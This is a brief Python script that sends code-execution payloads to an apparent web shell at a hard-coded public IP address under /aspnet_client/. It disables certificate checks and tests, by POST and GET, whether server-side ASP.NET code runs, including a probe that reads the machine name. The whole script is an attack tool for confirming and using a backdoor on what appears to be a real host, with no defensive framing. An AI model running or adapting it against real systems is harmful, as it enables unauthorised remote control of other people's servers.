#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
U = "https://37.18.37.60/aspnet_client/zwzxfd.aspx"
tests = [
 ("simple", 'Response.Write("A");'),
 ("plus", 'Response.Write(1+1);'),
 ("env", 'Response.Write(System.Environment.MachineName);'),
 ("pipe", 'Response.Write("PWN|"+"X");'),
]
for n,c in tests:
    try:
        f = requests.post(U, headers={'Content-Type':'application/x-www-form-urlencoded'}, params={"exec_code":c}, verify=False, timeout=20)
        print(f"[{n}] code={f.status_code} len={len(f.text)} head={f.text[:120]!r}", flush=True)
    except Exception as e:
        print(f"[{n}] err {type(e).__name__} {str(e)[:100]}", flush=True)
# also GET with query param
try:
    g = requests.get(U, params={"exec_code":'Response.Write("B");'}, verify=False, timeout=20)
    print(f"[GET] code={g.status_code} head={g.text[:120]!r}")
except Exception as e:
    print("[GET] err", type(e).__name__, str(e)[:100])
